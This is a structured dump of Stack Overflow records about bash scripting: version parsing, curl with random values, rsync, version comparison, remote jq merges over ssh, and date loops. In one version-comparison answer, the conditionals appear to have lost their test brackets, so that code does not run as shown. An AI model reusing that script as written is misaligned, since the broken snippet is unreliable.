has body: I'm trying to extract a version number from a file with a directory that looks like this: ... /directory/to/java/bin/./java -version Running that from the command line produces this output: java version "1.7.0_269" Java(TM) SE Runtime Environment (build 7.0.8.10 - pkshd34234hsd284842_01(xop4_)) bla bla bla whole bunch of extra info And I need to extract just that version number, 1.7.0_269 (and specifically the minor/patch(?) version "269"). I did something really similar for another file and used this syntax: JAVA_VER=$("/the/directory/to/jversion.sh" | awk -F'java.version:' '{print $2}' | xargs ) Which works nicely, but for some reason isn't working for this one (and admittedly my knowledge of bash commands is lacking, so I'm not sure how to correctly modify it): APP_JAVA_VER=$(/the/directory/to/java/bin/./java -version | awk -F'java version' '{print $2}' | xargs) It just outputs nothing. Could anyone point me in the right direction for how to do this? I'm seeing lots of different approaches to this type of problem but I'd like to actually understand where my code is going wrong and how to modify it. Does it have something to do with it not being a .sh file? Thank you for any help!
has title: Parsing version number from file using shell script in Bash
tagged with: linux
downvote count: 0
has answer: http://stackoverflow.com/a/76878154
tagged with: bash
answer count: 1
accepted answer: http://stackoverflow.com/a/76878154
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/a/76727635
answers question: http://stackoverflow.com/q/76722146
type: Answer
has body: Matiaslauriti had the right of it. It was actually running on the wrong environment thus it was actually overwriting the main database. The reason why it 'seemed' okay is that the migrate:fresh on that database is ran after the mock database has been migrated. In the end, what ended up fixing my issue was setting the environment in a hard manner, creation a construction like this (mind, I am using Dotenv to create maps for my environment variables and load the files): try { putenv('DB_DATABASE=' . $mockEnv['DB_DATABASE']); system(sprintf('cd %s &amp;&amp; php artisan migrate:fresh', $path)); } finally { putenv('DB_DATABASE=' . $actualEnv['DB_DATABASE']); } I attempt the migration, should it fail for ANY REASON, the environment will still be put back. The command itself is taking the application down and up, so I am not worried about checks in that regard.
score: 0

http://stackoverflow.com/q/76739629
has title: bash shell script - assign command to variable and call variable value
has answer: http://stackoverflow.com/a/76740031
tagged with: shell
has comment: http://stackoverflow.com/comment/135291027
has comment: http://stackoverflow.com/comment/135291185
has answer: http://stackoverflow.com/a/76740335
has comment: http://stackoverflow.com/comment/135291191
type: Question
has comment: http://stackoverflow.com/comment/135290971
has comment: http://stackoverflow.com/comment/135291035
has comment: http://stackoverflow.com/comment/135290982
downvote count: 0
type: UnansweredQuestion
score: 1
tagged with: bash
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135291068
has body: I'm trying to get a random number generated, which I need to use with a curl command which needs repeating n times. I can't seem to be able to pass in the sh command into the curl command or the sh command does not work. This is what I have: #!/bin/bash # Generate 6 digit random number random=$(shuf -i 100000-999999 -n 1) randomGen=$(eval $random) #error: line 5: 246215: command not found, but does pick up generated nr # randomGen=$(eval "$random") #same error echo $randomGen #nothing happens echo "$randomGen" #nothing happens curl -X POST "127.0.0.1:2020/send-tr" -H "Content-Type: application/json" -d '{"loc":"AAVV01JH01", "tr":"'$randomGen'"}' #tr = <empty> nothing passed in curl -X POST "127.0.0.1:2020/send-tr" -H "Content-Type: application/json" -d '{"loc":"BBFP01JH02", "tr":"'$randomGen'"}' #tr = <empty> nothing passed in EDIT AND ANSWER The script works well following @tjm3772 suggestions: #!/bin/bash # Generate 6 digit random number random() { shuf -i 100000-999999 -n 1; } curl -X POST "127.0.0.1:2020/send-tr" -H "Content-Type: application/json" -d '{"loc":"AAVV01JH01", "tr":"'$(random)'"}' curl -X POST "127.0.0.1:2020/send-tr" -H "Content-Type: application/json" -d '{"loc":"BBFP01JH02", "tr":"'$(random)'"}'
answer count: 2
tagged with: curl
tagged with: sh

http://stackoverflow.com/a/76883937
answers question: http://stackoverflow.com/q/76815964
upvote count: 1
downvote count: 0
score: 1
has body: To capture the output of rsync and print it immediately while the transfer is ongoing, you can use the following approach. #!/bin/bash TARGET_FILE_PATH="source_path/target_file" USER_PATH="destination_path/" TARGET_FILE_NAME="target_file" # Copy the file over echo "* Downloading: ${TARGET_FILE_NAME}" rsync -vh --progress --stats "$TARGET_FILE_PATH" "$USER_PATH" & RSYNC_PID=$! # Wait for the rsync process to finish and capture its output wait "$RSYNC_PID" EXIT_STATUS=$? if [ $EXIT_STATUS -eq 0 ]; then echo "* Downloading Complete" else echo "* Downloading Failed" fi In this script, we start the rsync command in the background using & and store its process ID (PID) in the RSYNC_PID variable. Then, we use the wait command to wait for the rsync process to finish. By running the rsync process in the background, the script can continue to execute and display messages like "* Downloading: ..." and "* Downloading Complete" while rsync is running. The progress and output of rsync will be displayed as usual because it's running in the same terminal. After the rsync process finishes, we capture its exit status in the EXIT_STATUS variable and display Downloading Complete or Downloading Failed accordingly.
type: Answer

http://stackoverflow.com/comment/135263745
type: Comment
comment on: http://stackoverflow.com/q/76722912
type: QuestionComment
score: 0
has text: Note that `_system` is a [reserved identifier](https://port70.net/~nsz/c/c11/n1570.html#7.1.3): "All identifiers that begin with an underscore are always reserved for use as identifiers with file scope in both the ordinary and tag name spaces." And if someone tells you, "But it works"? No, it doesn't "work" - they just haven't observed it to fail - **yet**. And `_system` **will** collide with an acutal `_system` symbol on almost all POSIX-based systems...

http://stackoverflow.com/q/76765144
tagged with: zsh
has comment: http://stackoverflow.com/comment/135395093
answer count: 0
tagged with: shell
tagged with: tmux
has body: I have two bash binaries in my system: one in /opt/homebrew/bin/bash and one in /bin/bash. My default shell is neither, it's zsh. But I use bash for some scripts. Outside tmux (running in iterm2), which bash gives /opt/homebrew/bin/bash (as I want it to be). But inside tmux it's /bin/bash. What should I do so that which bash in tmux gives /opt/homebrew/bin/bash while keeping zsh as the default shell?
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135341397
has comment: http://stackoverflow.com/comment/135396103
type: UnansweredQuestion
has title: Make tmux point to specific bash bin while keeping zsh as default shell
has comment: http://stackoverflow.com/comment/135335545

http://stackoverflow.com/q/76880608
has answer: http://stackoverflow.com/a/76884754
score: 2
answer count: 2
tagged with: grep
downvote count: 0
has answer: http://stackoverflow.com/a/76882939
has comment: http://stackoverflow.com/comment/135537412
favorite count: 0
tagged with: awk
has title: How to find if PHP file has constructor named the same as the class name?
upvote count: 2
has body: I am checking PHP files to see if they have the constructor named the same as the class name. The name of the class is not known, until the word after 'class ' is captured. EG: 'class fooBar' would have a matching 'function fooBar', however, may not be the same case, EG: 'function foobar'. I have tried a mix of tools, and piping, but find fetching the word following 'class ' problematic when assigning to a variable, to search for 'function match. What I have now is simply looping through all .php files, and grepping for 'class '. The result should be a list of file paths, which have successfully matched 'class fooBar', and function fooBar. find . -type f -name '*.php' -print0 | xargs -0 grep 'class ' | awk &lt;magic goes here&gt;
type: Question
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135533565

http://stackoverflow.com/comment/135349806
comment on: http://stackoverflow.com/q/76774173
score: 0
has text: When you use `sed` you need to escape special characters like `.`. This is a PITA if it's in a variable.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76771863
answers question: http://stackoverflow.com/q/76770023
downvote count: 0
has body: This can be done in pure bash, but of course it's more code: required_version=2.38.0 ver2float() { local parts part frac="" IFS=. read -ra parts <<<"$1" for part in "${parts[@]:1}"; do frac+=$(printf "%03d" "$part") done printf "%s.%s" "${parts[0]}" "${frac:-0}" } compare_floats() { (( 10#${1%.*} > 10#${2%.*} )) && return 1 (( 10#${1%.*} < 10#${2%.*} )) && return 0 (( 10#${1#*.} <= 10#${2#*.} )) } for version in 1.0 2.37.99 2.38.0 2.38.1 12; do if compare_floats "$(ver2float "$required_version")" \ "$(ver2float "$version")" then echo "$required_version is less than or equal to $version" else echo "$required_version is greater than $version" fi done This outputs 2.38.0 is greater than 1.0 2.38.0 is greater than 2.37.99 2.38.0 is less than or equal to 2.38.0 2.38.0 is less than or equal to 2.38.1 2.38.0 is less than or equal to 12
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/comment/135434422
type: AnswerComment
score: 1
has text: (using `$$` has some potential security impact, btw, if `/path/to` is somewhere untrusted accounts have write access -- like `/tmp` -- use `mktemp` instead to generate temporary-file names an attacker can't guess ahead-of-time; this goes to what I was saying about how someone needs to understand context and priorities to weigh what's "best" in any given situation -- optimizing for terseness can cut against security and the inverse).
comment on: http://stackoverflow.com/a/76823094
type: Comment

http://stackoverflow.com/comment/135473612
type: Comment
has text: Yes, but my parents will wait until all job is done by children's scripts, so I think such a situation should not happen.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76845841

http://stackoverflow.com/comment/135366759
has text: @MarkReed, `exec {BASH_XTRACEFD}>&-` works to close the file without `eval` -- bash added the necessary syntax to handle FDs from variables at the same time as they implemented automatic allocation. (Note the lack of a `$` in that command; leaving it out is intentional/necessary).
score: 1
comment on: http://stackoverflow.com/a/76783355
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135364554
comment on: http://stackoverflow.com/q/76781297
has text: I think you have to clarify what you want as a result and give all variables necessary to achieve that (see https://stackoverflow.com/help/minimal-reproducible-example), otherwise ppl gonna vote to close because of clarity. My guess is you want some sort of parameter expansion.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135512165
comment on: http://stackoverflow.com/q/76868047
type: Comment
score: 0
has text: `${j+1}` is a parameter expansion and, since `j` is defined, just evaluates to 1. See the section in the bash man-page, which is titled _ARITHMETIC EVALUATION_, to see how to do integer arithmetic.
type: QuestionComment

http://stackoverflow.com/comment/135334490
type: Comment
has text: I would guess that your script is simply exiting before the motors have had a chance to move by any noticeable amount.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76765373

http://stackoverflow.com/a/76837152
score: 2
upvote count: 2
type: Answer
has body: You can pass variable extracted_content (via declare) and then escape the dollar ($) sign (for extracted_content and data): ssh -tt -o StrictHostKeyChecking=no -i sac_key root@${ip} -p22222 <<- _connect_ $(declare -p extracted_content) # --- Append the extracted content to the target JSON --- if ! jq --argjson data "\$extracted_content" '. += \$data' "$TO" > "$TO.tmp"; then echo "ERROR: Error appending content to destination JSON." exit 1 fi # --- Rename the temporary file to the original target --- mv "$TO.tmp" "$TO" _connect_
downvote count: 0
has comment: http://stackoverflow.com/comment/135463025
answers question: http://stackoverflow.com/q/76835075

http://stackoverflow.com/comment/135489449
type: Comment
comment on: http://stackoverflow.com/q/76854869
has text: BTW, `foo | grep -q bar` is faster than `foo | grep bar >/dev/null` because if `grep` _knows_ its stdout isn't required, it can exit the moment it sees a match instead of needing to read through the rest of `foo`'s output. But even then, in a lot of cases `$string =~ regex ` is faster than `<<<"$string" grep -q regex`, and of course both are faster than `generate_a_string | grep -q regex`.
score: 1
type: QuestionComment

http://stackoverflow.com/a/76870046
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135521484
score: 1
answers question: http://stackoverflow.com/q/76868047
has body: It’s a bit overkill but you can loop through the filepaths and fill a bash array with them, using the date (converted to epoch time) as "index". Then you loop though each "epoch time" defined in the bash array and check if the index of the previous day exists, in which case you run the cbo command: #!/bin/bash # function Ymd2s() # converts "year" "month" "day" (in UTC time) to "seconds since EPOCH" # example: Ymd2s 2003 06 01 # output: 1054425600 Ymd2s() { local Y=$1 m=${2#0} d=${3#0} tm_year tm_yday local -a month_to_days=( _ 0 31 59 90 120 151 181 212 243 273 304 334 ) echo "$(( tm_year = Y - 1900, tm_yday = month_to_days[m] + d - 1 + ((m > 2 && (Y%4 == 0 && Y%100 != 0) || Y%400 == 0) ? 1 : 0), tm_yday*86400 + (tm_year-70)*31536000 + ((tm_year-69)/4)*86400 - ((tm_year-1)/100)*86400 + ((tm_year+299)/400)*86400 ))" } files=() # FILL THE ARRAY USING EPOCH TIMES AS INDICES for f in some/path/TOTAL_*.nc do [[ ${f##*/} =~ ([0-9]{4})-([0-9]{2})-([0-9]{2}) ]] || continue t=$(Ymd2s "${BASH_REMATCH[1]}" "${BASH_REMATCH[2]}" "${BASH_REMATCH[3]}") files[t]=$f done # LOOP THROUGH THE EPOCH TIMES (ARRAY INDICES) for t1 in "${!files[@]}" do (( t2 = t1 - 86400 )) [[ ${files[t2]:+1} ]] || continue f1=${files[t1]} f2=${files[t2]} echo cbo sub "$f1" "$f2" RAIN_"${f1##*TOTAL_}" done remark: Here I converted the dates manually, with some calculations, but you can surely use the date command instead (=> not portable and slower). example output: cbo sub some/path/TOTAL_summer_2003-06-02.nc some/path/TOTAL_summer_2003-06-01.nc RAIN_summer_2003-06-02.nc cbo sub some/path/TOTAL_summer_2003-06-03.nc some/path/TOTAL_summer_2003-06-02.nc RAIN_summer_2003-06-03.nc cbo sub some/path/TOTAL_summer_2003-06-04.nc some/path/TOTAL_summer_2003-06-03.nc RAIN_summer_2003-06-04.nc cbo sub some/path/TOTAL_summer_2003-07-02.nc some/path/TOTAL_summer_2003-07-01.nc RAIN_summer_2003-07-02.nc cbo sub some/path/TOTAL_summer_2003-07-03.nc some/path/TOTAL_summer_2003-07-02.nc RAIN_summer_2003-07-03.nc cbo sub som…
downvote count: 0

http://stackoverflow.com/comment/135363667
score: 2
type: Comment
has text: You probably need to spawn a shell where the wildcards are implemented. Try: `new Deno.Command("sh", { args: ["-c", "cp source/* destination"] })`
comment on: http://stackoverflow.com/q/76782298
type: QuestionComment

http://stackoverflow.com/a/76764330
has body: For each file found, find prepends the path by which the file was reached. -execdir cd's to that same directory for each file, so the prefix is always ./. For example, if a file foo is found, ".$1.sha256" becomes "../foo.sha256", which is not what you want. So the ./ prefix must be removed. Assuming your shell is POSIX-compatible and relatively modern, this can be done with parameter expansion. # Print the contents of the variable `$1` with the largest match # of the pattern `*/` at the beginning of the expansion removed echo "${1##*/}" In your case, the full command could be: find . -type f ! -name '*.sha256' -execdir \ sh -c '[ ! -f ".${1##*/}.sha256" ] && sha256sum "$1" > ".${1##*/}.sha256"' _ {} \; Or, to keep things more DRY: find . -type f ! -name '*.sha256' -execdir \ sh -c 'hf=".${1##*/}.sha256"; [ ! -f "$hf" ] && sha256sum "$1" > "$hf"' _ {} \;
type: Answer
answers question: http://stackoverflow.com/q/76743009
score: 0

http://stackoverflow.com/comment/135467465
has text: It looks like you want something like `join -a1 file1 -a2 <( join -a1 file2 -a2 file3)` and of course you could replace `join` with your `myAwkJoin` in a similar fashion. Just and idea, and sorry, I don't have time right now to test this with your data. Good luck.
type: Comment
comment on: http://stackoverflow.com/q/76841295
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135388381
type: QuestionComment
type: Comment
has text: The IP address assigned to the Azure VM has to be within the range of addresses of your intranet. See https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/virtual-network-network-interface-addresses?tabs=nic-address-portal Using ARP -A will give a list of IP addresses being used by your network. Then you can assign an IP in your subnet. See : https://www.digi.com/support/knowledge-base/how-to-use-arp-ping-to-assign-an-ip-address-to-por The ARP table is a list of IP addresses that were seen recently by you intranet.
comment on: http://stackoverflow.com/q/76792437
score: 0

http://stackoverflow.com/a/76868232
type: Answer
accepted answer of: http://stackoverflow.com/q/76868047
has comment: http://stackoverflow.com/comment/135513421
downvote count: 0
score: 3
type: AcceptedAnswer
upvote count: 3
has body: Use double parens, eg: $((j+1)), though this will lose the leading 0; if you know the days will always be 1-4 then you could hardcode the 0 in the filename (like you're currently doing for the month). Assumptions: you'll eventually need to deal with months 10 / 11 / 12, so you'll need a different solution that doesn't prepend the month with 0 we don't need to worry about +1 day causing a rollover into the next month (eg, 31 May +1 day => 1 Jun); otherwise we need to consider some additional code to handle 'date math' Instead of hardcoding 0's I'd probably opt for using printf to prepend a leading 0 for single digit months/days: for i in {6..8} do printf -v m "%02d" "${i}" for j in {1..4} # use {1..3} if no files exist for day #5 do printf -v d1 "%02d" "${j}" printf -v d2 "%02d" $((j+1)) echo cdo sub "TOTAL_summer_2003-${m}-${d2}.nc" "TOTAL_summer_2003-${m}-${d1}.nc" "RAIN_summer_2003-${m}-${d1}.nc" done done NOTE: once satisified with the output remove the echo to have the script execute the cdo call This generates: cdo sub TOTAL_summer_2003-06-02.nc TOTAL_summer_2003-06-01.nc RAIN_summer_2003-06-01.nc cdo sub TOTAL_summer_2003-06-03.nc TOTAL_summer_2003-06-02.nc RAIN_summer_2003-06-02.nc cdo sub TOTAL_summer_2003-06-04.nc TOTAL_summer_2003-06-03.nc RAIN_summer_2003-06-03.nc cdo sub TOTAL_summer_2003-06-05.nc TOTAL_summer_2003-06-04.nc RAIN_summer_2003-06-04.nc cdo sub TOTAL_summer_2003-07-02.nc TOTAL_summer_2003-07-01.nc RAIN_summer_2003-07-01.nc cdo sub TOTAL_summer_2003-07-03.nc TOTAL_summer_2003-07-02.nc RAIN_summer_2003-07-02.nc cdo sub TOTAL_summer_2003-07-04.nc TOTAL_summer_2003-07-03.nc RAIN_summer_2003-07-03.nc cdo sub TOTAL_summer_2003-07-05.nc TOTAL_summer_2003-07-04.nc RAIN_summer_2003-07-04.nc cdo sub TOTAL_summer_2003-08-02.nc TOTAL_summer_2003-08-01.nc RAIN_summer_2003-08-01.nc cdo sub TOTAL_summer_2003-08-03.nc TOTAL_summer_2003-08-02.nc RAIN_summer_2003-08-02.nc cdo sub TOTAL_summer_2003-08-04.nc TOTAL_summer_2003-08-03.nc RAIN_summer_2003-08-03.nc …
answers question: http://stackoverflow.com/q/76868047

http://stackoverflow.com/a/76839226
type: Answer
has body: The answer by @Phillippe is good, but not perfect, because it requires you to escape the code in your heredoc yourself. Better practice is to have the shell do that escaping for you: Write the code you want to run remotely in a function, then tell the shell to serialize that function with declare -f just the same as how you serialize the data the function uses with declare -p. remote_function() { # --- Append the extracted content to the target JSON --- jq --argjson data "$extracted_content" '. += $data' "$TO" > "$TO.tmp" || { rc=$? echo "ERROR: Error appending content to destination JSON." exit "$rc" } # --- Rename the temporary file to the original target --- mv "$TO.tmp" "$TO" } ssh -tt -o StrictHostKeyChecking=no -i sac_key root@"$ip" -p22222 <<-_connect_ $(declare -p extracted_content TO) # define remote variables $(declare -f remote_function) # define remote function remote_function # call remote function _connect_
accepted answer of: http://stackoverflow.com/q/76835075
type: AcceptedAnswer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76835075
upvote count: 1

loops
tag name: loops
tags question: http://stackoverflow.com/q/76804463
type: Tag
tags question: http://stackoverflow.com/q/77480432
tags question: http://stackoverflow.com/q/77638608
tags question: http://stackoverflow.com/q/77809842
tags question: http://stackoverflow.com/q/77902652
tags question: http://stackoverflow.com/q/78030037
tags question: http://stackoverflow.com/q/77991498
tags question: http://stackoverflow.com/q/78241899
tags question: http://stackoverflow.com/q/78400843
tags question: http://stackoverflow.com/q/78579093
tags question: http://stackoverflow.com/q/78687148
tags question: http://stackoverflow.com/q/78777635
tags question: http://stackoverflow.com/q/78957162
tags question: http://stackoverflow.com/q/79111022
tags question: http://stackoverflow.com/q/79151092
tags question: http://stackoverflow.com/q/79374871
tags question: http://stackoverflow.com/q/79492218

http://stackoverflow.com/comment/135477643
comment on: http://stackoverflow.com/q/76848082
score: 0
type: QuestionComment
type: Comment
has text: I'm not familiar with Codefresh, but the `"${LIB_FOLDERS[@]}"` syntax is specific to bash, and `/bin/sh` apparently is not bash on your system (it typically isn't). Either avoid bash-specific features or figure out how to get CodeFresh to use bash rather than `/bin/sh`.

http://stackoverflow.com/comment/135417926
type: Comment
type: AnswerComment
has text: Yes that would works. I personnaly prefer having this logic outside of the function tho. I've edited my answer. Please consider accepting it if it solved your problem.
comment on: http://stackoverflow.com/a/76804508
score: 0

http://stackoverflow.com/comment/135251736
score: 0
type: QuestionComment
type: Comment
has text: (the linked duplicate is talking about starting a shell script from expect, but shell scripts -- at least, proper executable ones with a shebang and +x permissions -- are no different from any kind of other executable in this context).
comment on: http://stackoverflow.com/q/76715818

http://stackoverflow.com/comment/135493260
score: 0
comment on: http://stackoverflow.com/q/76856869
has text: Why did you tag this _bash_? I don't see where bash would be involved. The error message doesn't come from bash either.
type: QuestionComment
type: Comment

random
type: Tag
tags question: http://stackoverflow.com/q/76825083
tag name: random
tags question: http://stackoverflow.com/q/77587685

http://stackoverflow.com/comment/135497697
type: Comment
comment on: http://stackoverflow.com/q/76859636
score: 0
has text: Hi @KamilCuk - I'm not getting any compilation error and it is a shell variable. it's just that $6 is not being taken up during the script compilation.
type: QuestionComment

http://stackoverflow.com/comment/135402527
score: 0
has text: I **hope** your separator is actually "comma, space" (as in your first example) and not "comma". If it is, things might be salvagable... or is column 3 the only numerical one / the only one potentially including embedded commas? We need more precise data.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76805101

http://stackoverflow.com/comment/135418571
score: 1
type: Comment
comment on: http://stackoverflow.com/q/76813452
type: QuestionComment
has text: Think about putting something like `[ "$HOST" ] || HOST=$(hostname)` in your script.

http://stackoverflow.com/comment/135334953
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76761336
has text: @Verthais Umm, no. If it happens that `/tmp/MyLinux/sort/themes/Kali-Dark` already exists, then you will be creating `/tmp/MyLinux/sort/themes/Kali-Dark/Kali-Dark`.
type: QuestionComment

http://stackoverflow.com/comment/135497942
comment on: http://stackoverflow.com/q/76859636
has text: Then` $1` should be an exception - there is no variable named `1` in groovy.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76835075
tagged with: bash
accepted answer: http://stackoverflow.com/a/76839226
has answer: http://stackoverflow.com/a/76835197
tagged with: jq
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76839226
has answer: http://stackoverflow.com/a/76837152
has title: Invalid JSON text passed
possible better answer: http://stackoverflow.com/a/76837152
has comment: http://stackoverflow.com/comment/135455387
type: Question
tagged with: shell
has body: I am having a problem merging json files via ssh. I always get the error jq: invalid JSON text passed to --argjson Use jq --help for help with command-line options, or see the jq manpage, or online docs at https://stedolan.github.io/jq Even though I pass a vlid json text. # check if the content of the input file is valid JSONn if ! echo "$content" | jq empty > /dev/null 2>&1; then echo "ERROR: The content of the input file is not valid JSON." exit 1 fi # extract the text inside the curly brackets from the JSON content extracted_content=$(echo "$content" | jq .) # check if the extracted content is valid JSON if ! echo "$extracted_content" | jq empty > /dev/null 2>&1; then echo "ERROR: The content of the input file contains no or invalid curly braces." exit 1 fi while read ip do echo "Doing changes to machine $ip" # --- Connect to machine --- cd /home/root/.ssh ssh -tt -o StrictHostKeyChecking=no -i sac_key root@${ip} -p22222 <<- _connect_ # --- Append the extracted content to the target JSON --- if ! jq --argjson data "$extracted_content" '. += $data' "$TO" > "$TO.tmp"; then echo "ERROR: Error appending content to destination JSON." exit 1 fi # --- Rename the temporary file to the original target --- mv "$TO.tmp" "$TO" _connect_ done < $1 So I tried to change the line if ! jq --argjson data "$extracted_content" '. += $data' "$TO" > "$TO.tmp"; then like doing only $extracted_content or like $(cat $extracted_content). Or showing me the contenct of $extracted_content with echo extracted conent before ssh = {"ntpServers":"10.9.221.1"} Also using a json validator (https://jsonformatter.net/json-validator/) to check if the file is valid.
answer count: 3
score: 0

http://stackoverflow.com/comment/135344579
comment on: http://stackoverflow.com/q/76771421
score: 0
type: QuestionComment
type: Comment
has text: (Really, read the standards document as a whole: a compliant `echo` isn't _allowed_ to take `-e` to mean anything but to mean "print -e on output", and while bash's is noncompliant by default, it _can_ be configured to comply with the standard, including complying with optional XSI extensions that make unescaping that `echo` otherwise enables the default; so unless you know exactly how your copy of bash is set up, you can never be quite sure what `echo` will do).

http://stackoverflow.com/comment/135291498
type: QuestionComment
has text: one option would be to `grep /var | grep -v /var/`
type: Comment
comment on: http://stackoverflow.com/q/76739914
score: 0

http://stackoverflow.com/comment/135448337
type: Comment
comment on: http://stackoverflow.com/q/76831000
score: 0
has text: `eval $cmd` is _also_ broken. It needs to be `eval "$cmd"` **with the quotes** to be safe and correct (assuming that the value of the variable `$cmd` is itself known to be safe and correct, which it isn't when you substitute the value of `$1` into it as shown in the question; a less-bad alternative would be `cmd='ls -rtl "$1"'`, which defers that substitution until the last time the command goes through the parser).
type: QuestionComment

http://stackoverflow.com/comment/135339992
type: QuestionComment
comment on: http://stackoverflow.com/q/76721494
type: Comment
score: 0
has text: "Tried running" - when you try this, concretely what do you see? What do you think you should see instead, and why? How is that different?

http://stackoverflow.com/a/76766288
has body: did you check this one, maybe the problem is related to the library https://stackoverflow.com/a/72207592/11594679 alternatively, did you check, if the path of the library is a problem. Do you call the script with the same python version, that you execute as shell? Maybe the gpio library is not installed for the one you call the script with.
has comment: http://stackoverflow.com/comment/135340780
type: Answer
answers question: http://stackoverflow.com/q/76765373
score: 0
has comment: http://stackoverflow.com/comment/135341806
has comment: http://stackoverflow.com/comment/135336125

http://stackoverflow.com/comment/135449835
has text: Generally speaking, *don't* write `eval` in front of `$cmd`. Or ever. Ignore this advice, after adequate consideration, only when you thoroughly understand why I am giving it.
comment on: http://stackoverflow.com/q/76831000
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135476227
type: AnswerComment
has text: But here you used local -n inside of a function, which is something that will not work in a script, because of the whole subshell we talked about. I want something like the `read` command which runs on the subshell but assigns a value to a variable that was passed in the main shell
comment on: http://stackoverflow.com/a/76843948
score: 0
type: Comment

http://stackoverflow.com/a/76764989
has comment: http://stackoverflow.com/comment/135333939
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76764965
type: AcceptedAnswer
upvote count: 1
has comment: http://stackoverflow.com/comment/135333907
accepted answer of: http://stackoverflow.com/q/76764965
type: Answer
has body: Use a here string: # does this work and will grep find the pattern? line="INSERT INTO something VALUES('v1',v2','UPLOAD_REQUEST_RESULTS_DOWNLOADED',1,'v3','2023-07-15 23:36:53.0')" val=$(grep -Ec --regexp='INSERT INTO something*[UPLOAD_REQUEST_RESULTS_DOWNLOADED, UPLOAD_REQUEST_CANCELLED].*[0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\}\.[0-9]' <<<"$line") echo "$val"

http://stackoverflow.com/comment/135481912
type: Comment
type: QuestionComment
score: 0
has text: Can you post the actual command you want to run with `npx` and `curl`? i.e. the values for URL and path? It is unclear with your attempt above
comment on: http://stackoverflow.com/q/76850581

http://stackoverflow.com/comment/135424057
has text: @Discovery yes, but why do you ask? what's wrong with this solution?
score: 0
comment on: http://stackoverflow.com/a/76817288
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135389600
score: 0
type: QuestionComment
has text: @KurtisRader Thank you! The Elvish Shell looks promising and I will try it
type: Comment
comment on: http://stackoverflow.com/q/76793056

http://stackoverflow.com/comment/135290971
type: Comment
score: 5
comment on: http://stackoverflow.com/q/76739629
has text: Don't put commands in variables, use a function. `random() { shuf -i 100000-999999 -n 1 ; } ; randomGen=$( random )`
type: QuestionComment

http://stackoverflow.com/comment/135407781
score: 1
type: QuestionComment
has text: @user4157124 Most pragmas are only in effect for the duration of the connection they're made in. So setting the timeout in one `sqlite3` process isn't going to affect a different one.
type: Comment
comment on: http://stackoverflow.com/q/76805840

http://stackoverflow.com/comment/135341345
type: QuestionComment
type: Comment
score: 0
has text: I don't see any "Python commands executed from the shell" in your posting. Therefore I have no idea what you are actually asking. Also, what's the point in posting a photograph of some electronic gadget here? Are you trying to advertise something?
comment on: http://stackoverflow.com/q/76765373

http://stackoverflow.com/a/76771093
upvote count: 2
has comment: http://stackoverflow.com/comment/135345065
has comment: http://stackoverflow.com/comment/135344371
score: 2
answers question: http://stackoverflow.com/q/76770023
has body: You can't compare versions as any kind of number, including floats, nor as strings as each .-separated section individually needs to be compared numerically. You need to compare them specifically as versions, e.g. using GNU sort for -V to sort a list of version numbers into lowest to highest order: $ cat tst.sh #!/usr/bin/env bash required_version=2.38.0 actual_version=10.7.45 highest_version=$(printf '%s\n%s\n' "$required_version" "$actual_version" | sort -V | tail -1) if $highest_version == $actual_version ; then echo "=== PASSED ===" else echo "=== FAILED ===" fi $ ./tst.sh === PASSED === If you don't have GNU sort you could always write your own comparison function, e.g.: $ cat tst.sh #!/usr/bin/env bash required_version=2.38.0 actual_version=10.7.45 compare_vers() { local a b n IFS='.' read -r -a a <<< "$1" IFS='.' read -r -a b <<< "$2" (( "${#a[@]}" > "${#b[@]}" )) && n="${#a[@]}" || n="${#b[@]}" for (( i=0; i<n; i++ )); do if (( "${a[i]:0}" > "${b[i]:0}" )); then echo 'BIGGER' return elif (( "${a[i]:0}" < "${b[i]:0}" )); then echo 'SMALLER' return fi done echo 'EQUAL' } rslt=$(compare_vers "$actual_version" "$required_version") if $rslt == "BIGGER" ; then echo "=== PASSED ===" else echo "=== FAILED ===" fi $ ./tst.sh === PASSED ===
has comment: http://stackoverflow.com/comment/135344154
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135498157
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76860070
has text: first option I already tried and it is not able to resolve the issue. I will check on the second option you provided.

http://stackoverflow.com/q/76745733
tagged with: ipython
type: Question
tagged with: jupyter-notebook
has body: How can I run the following command line command on Jupyter notebook: $STAND_EXE -d WF5-51 where $STAND_EXE is environment variable containing path to executible (.exe file) and WF5-51 is a filename. Thanks. I tried subprocess.run([STAND_EXE,'-d','WF-51']) but got an error
has comment: http://stackoverflow.com/comment/135377963
has comment: http://stackoverflow.com/comment/135301927
has title: Running command line command in Jupyter notebook
score: 0
has answer: http://stackoverflow.com/a/76757674
tagged with: subprocess
tagged with: shell
type: UnansweredQuestion
answer count: 1
tagged with: command-line

http://stackoverflow.com/comment/135440209
comment on: http://stackoverflow.com/q/76825948
score: 0
type: QuestionComment
has text: From the error message, I conclude that `limit` is empty. Before asking such a question, always do some debugging by yourself, by setting `set -x`. At least this would show the content of the variables. I find it much more unusual that the line number in the error message is denoted as `??`. Are you inside an `eval` here?
type: Comment

http://stackoverflow.com/q/76805840
has comment: http://stackoverflow.com/comment/135407781
